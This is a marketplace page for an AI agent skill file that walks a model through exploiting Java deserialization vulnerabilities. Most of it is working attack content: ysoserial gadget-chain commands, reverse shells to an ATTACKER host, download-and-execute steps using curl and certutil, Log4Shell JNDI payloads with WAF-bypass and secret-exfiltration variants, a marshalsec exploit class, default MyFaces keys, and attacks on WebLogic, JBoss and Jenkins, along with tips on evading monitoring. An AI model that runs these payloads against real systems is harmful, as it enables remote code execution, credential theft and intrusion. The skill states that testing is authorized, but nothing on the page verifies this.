Deserialization Java logo

Deserialization Java

Organization
blacklanternsecurity
deserialization-java

Exploit Java deserialization vulnerabilities during authorized penetration testing.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namedeserialization-java
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Deserialization Java AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/deserialization-java .claude/skills/deserialization-java
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Deserialization Java in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Deserialization Java on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Deserialization Java is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Java Deserialization

You are helping a penetration tester exploit Java deserialization vulnerabilities. The target application deserializes untrusted Java objects, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [deserialization-java] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A Java deserialization endpoint (HTTP parameter, cookie, RMI, JMX, T3, JMS)
  • Tools: ysoserial (java -jar ysoserial.jar), optionally marshalsec, ysoserial-modified (for complex shell commands)
  • DNS callback receiver (Burp Collaborator, interactsh) for blind detection
  • Proxy (Burp Suite) for intercepting and modifying serialized data

Step 1: Assess

If not already provided, determine:

  1. Serialization format — look for these signatures:
SignatureFormatWhere Found
AC ED 00 05 (hex)Java serializedRaw binary in request/response
rO0AB (base64)Java serialized (b64)Parameters, cookies, headers
H4sIA (base64)Gzip + Java serializedCompressed serialized data
application/x-java-serialized-objectContent-TypeHTTP headers
  1. Entry point type:

    • HTTP parameters / cookies / headers (base64-encoded)
    • JSF ViewState (javax.faces.ViewState parameter, .faces/.xhtml URLs)
    • RMI (port 1099)
    • T3 protocol (WebLogic, port 7001)
    • JMX (management port)
    • JMS message brokers (ActiveMQ, RabbitMQ)
  2. Server technology — check response headers, error pages, default files for WebLogic, JBoss/WildFly, Tomcat, Jenkins, Spring Boot

Skip if context was already provided.

Step 2: Blind Detection (URLDNS)

Always start with blind detection before attempting RCE. The URLDNS gadget uses only JDK classes (no library dependencies) and triggers a DNS lookup:

bash
# Generate URLDNS payload — triggers DNS callback, no RCE
java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" > payload.bin

# Base64 encode for HTTP parameters
java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" | base64 -w0

# Send via curl (base64 in parameter)
curl -X POST https://TARGET/endpoint \
  -d "data=$(java -jar ysoserial.jar URLDNS 'http://ID.oastify.com' | base64 -w0)"

If DNS callback received: deserialization confirmed. Proceed to Step 3.

If no callback: try alternative entry points, check if data is gzip-compressed or differently encoded, or the endpoint may not deserialize.

Step 3: Identify Gadget Libraries

Determine which libraries are on the target's classpath. Use GadgetProbe (Burp extension) for black-box detection, or enumerate from error messages, known framework defaults, or exposed dependency files.

Common library → gadget chain mapping:

LibraryVersionGadget Chains
commons-collections 3.x3.1-3.2.1CommonsCollections1,3,5,6,7
commons-collections 4.x4.0CommonsCollections2,4
commons-beanutils1.9.xCommonsBeanutils1
spring-core + spring-beans4.xSpring1, Spring2
groovy2.3.xGroovy1
hibernatevariousHibernate1, Hibernate2
rome1.0ROME
c3p00.9.5.xC3P0
bsh (BeanShell)2.0b5BeanShell1
JDK only (pre-8u20)<8u20Jdk7u21

Framework defaults:

  • Spring Boot: commons-collections, spring-core, jackson
  • WebLogic: commons-collections (older), coherence
  • JBoss: commons-collections, jboss-interceptors
  • Jenkins: commons-collections, groovy

If unsure, try CommonsCollections5 first (works on JDK 8u76+), then CommonsBeanutils1, then CommonsCollections4.

Step 4: Exploit with ysoserial

Basic RCE

bash
# CommonsCollections5 (reliable, JDK 8u76+ compatible)
java -jar ysoserial.jar CommonsCollections5 "COMMAND" | base64 -w0

# CommonsCollections4 (commons-collections4)
java -jar ysoserial.jar CommonsCollections4 "COMMAND" | base64 -w0

# CommonsBeanutils1 (when CommonsCollections chains fail)
java -jar ysoserial.jar CommonsBeanutils1 "COMMAND" | base64 -w0

Runtime.exec() Limitations

Runtime.exec() cannot handle shell operators (|, >, &, ;). Workarounds:

bash
# Method 1: bash -c with brace encoding (avoids spaces in args)
java -jar ysoserial.jar CommonsCollections5 \
  'bash -c {echo,BASE64_ENCODED_CMD}|{base64,-d}|{bash,-i}'

# Generate the base64 payload:
echo -n 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
# Then substitute into the brace-encoded command

# Method 2: Use ysoserial-modified (handles pipes/redirects natively)
java -jar ysoserial-modified.jar CommonsCollections5 \
  'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Method 3: Download and execute
java -jar ysoserial.jar CommonsCollections5 \
  'curl http://ATTACKER/shell.sh -o /tmp/s.sh'
# Then:
java -jar ysoserial.jar CommonsCollections5 'bash /tmp/s.sh'

# Windows: certutil download
java -jar ysoserial.jar CommonsCollections5 \
  'cmd /c certutil -urlcache -split -f http://ATTACKER/payload.exe c:\temp\p.exe'

Sending the Payload

bash
# HTTP POST parameter (base64)
curl -X POST https://TARGET/endpoint \
  -d "param=$(java -jar ysoserial.jar CommonsCollections5 'id' | base64 -w0)"

# HTTP cookie
curl https://TARGET/ -b \
  "session=$(java -jar ysoserial.jar CommonsCollections5 'id' | base64 -w0)"

# Raw binary (Content-Type: application/x-java-serialized-object)
java -jar ysoserial.jar CommonsCollections5 'id' | \
  curl -X POST https://TARGET/endpoint \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @-

Step 5: JNDI Injection

For endpoints that perform JNDI lookups with attacker-controlled input (including Log4Shell CVE-2021-44228).

Log4Shell (CVE-2021-44228)

Affects Log4j 2.0-beta9 through 2.14.1.

Detection payloads (inject in any logged field — User-Agent, headers, form fields, API parameters):

${jndi:ldap://COLLABORATOR.oastify.com/a}
${jndi:dns://COLLABORATOR.oastify.com/a}

WAF bypass variants:

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://CALLBACK/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://CALLBACK/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//CALLBACK/a}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://CALLBACK/a}

Data exfiltration via Log4Shell:

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.CALLBACK/a}
${jndi:ldap://${sys:user.name}.CALLBACK/a}
${jndi:ldap://${java:version}.CALLBACK/a}
${jndi:ldap://${env:HOSTNAME}.CALLBACK/a}

JNDI RCE via marshalsec

bash
# Terminal 1: Start LDAP referral server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer "http://ATTACKER:8000/#Exploit"

# Terminal 2: Compile exploit class
cat > Exploit.java << 'JAVA'
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec(
                new String[]{"bash", "-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});
        } catch (Exception e) { e.printStackTrace(); }
    }
}
JAVA
javac Exploit.java -source 8 -target 8

# Terminal 3: Serve the class file
python3 -m http.server 8000

# Trigger: inject JNDI URL into vulnerable parameter
${jndi:ldap://ATTACKER:1389/Exploit}

Note: Remote class loading blocked on JDK 8u121+ (RMI) and 6u141+/8u121+ (LDAP). For modern JDKs, use deserialization gadgets via JNDI instead:

bash
# Generate serialized gadget
java -jar ysoserial.jar CommonsCollections5 'COMMAND' > /tmp/payload.ser

# Serve via JNDI-Injection-Exploit (handles modern JDK restrictions)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -L ATTACKER:1389 -P /tmp/payload.ser

Step 6: JSF ViewState Deserialization

For JSF applications (.faces, .xhtml URLs) with javax.faces.ViewState.

Detection:

  • Parameter javax.faces.ViewState in POST requests
  • Base64 prefix rO0AB (raw) or H4sIA (gzip)
  • Framework: Oracle Mojarra or Apache MyFaces

MyFaces with default/weak encryption keys:

AlgorithmDefault Secret
AES CBCNzY1NDMyMTA3NjU0MzIxMA==
DESNzY1NDMyMTA=
DESedeMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz

If ViewState is not encrypted or uses default keys, generate payload with ysoserial and inject as javax.faces.ViewState parameter.

Step 7: Framework-Specific Attacks

WebLogic (T3 Protocol)

bash
# Detect T3 protocol (port 7001)
nmap -p 7001 --script weblogic-t3-info TARGET

# Exploit via T3 with ysoserial payload
# Use CVE-2015-4852 or later T3 deserialization CVEs
python3 weblogic_t3_exploit.py -t TARGET -p 7001 \
  -y ysoserial.jar -g CommonsCollections1 -c "id"

JBoss

bash
# Check for exposed invoker servlets
curl -v http://TARGET/invoker/JMXInvokerServlet
curl -v http://TARGET/invoker/EJBInvokerServlet

# If accessible, send ysoserial payload directly
java -jar ysoserial.jar CommonsCollections5 'id' | \
  curl -X POST http://TARGET/invoker/JMXInvokerServlet \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @-

# Automated: JexBoss
python3 jexboss.py -u http://TARGET:8080

Jenkins

bash
# Jenkins CLI protocol uses serialized objects
# Check for /cli endpoint
curl http://TARGET/cli

# Exploit pre-2.x Jenkins with commons-collections
java -jar ysoserial.jar CommonsCollections1 'id' | \
  curl -X POST http://TARGET/cli \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @-

Step 8: Escalate or Pivot

OPSEC Notes

  • URLDNS payloads generate DNS traffic — visible to network monitoring
  • ysoserial payloads may trigger IDS/WAF signatures (commons-collections class names in serialized data)
  • Log4Shell payloads logged extensively — assume blue team visibility
  • JNDI exploitation requires attacker-controlled LDAP/RMI server — outbound connection from target is visible
  • JBoss/WebLogic invoker servlets are commonly monitored endpoints

Troubleshooting

Gadget Chain Throws Exception

  • Try different chains: CommonsCollections5 → CommonsBeanutils1 → CommonsCollections4 → ROME → Groovy1
  • Check JDK version: Jdk7u21 only works pre-8u20
  • The target may have patched commons-collections — try chains using other libraries

Runtime.exec() Command Fails Silently

  • Runtime.exec() does not support shell operators
  • Use bash brace encoding or ysoserial-modified
  • Test with simple command first (touch /tmp/proof, ping ATTACKER)
  • On Windows, prefix with cmd /c

JNDI Lookup Blocked (Modern JDK)

  • JDK 8u121+ blocks remote class loading via RMI/LDAP
  • Use deserialization gadgets served via JNDI instead of remote classes
  • Use JNDI-Injection-Exploit or marshalsec with serialized payloads

No DNS Callback from URLDNS

  • Verify the parameter actually reaches ObjectInputStream.readObject()
  • Check if data needs to be gzip-compressed before base64
  • Try sending raw binary instead of base64
  • Endpoint may use a custom ObjectInputStream with class filtering

Frequently asked questions

What does the Deserialization Java AI skill do?

Exploit Java deserialization vulnerabilities during authorized penetration testing.

Why use Deserialization Java on TypingMind?

Because you install it once and use it with any model. Deserialization Java is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Deserialization Java in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/deserialization-java. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Deserialization Java?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Deserialization Java?

As many as you like. As long as a model supports skills, you can use Deserialization Java with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Deserialization Java AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇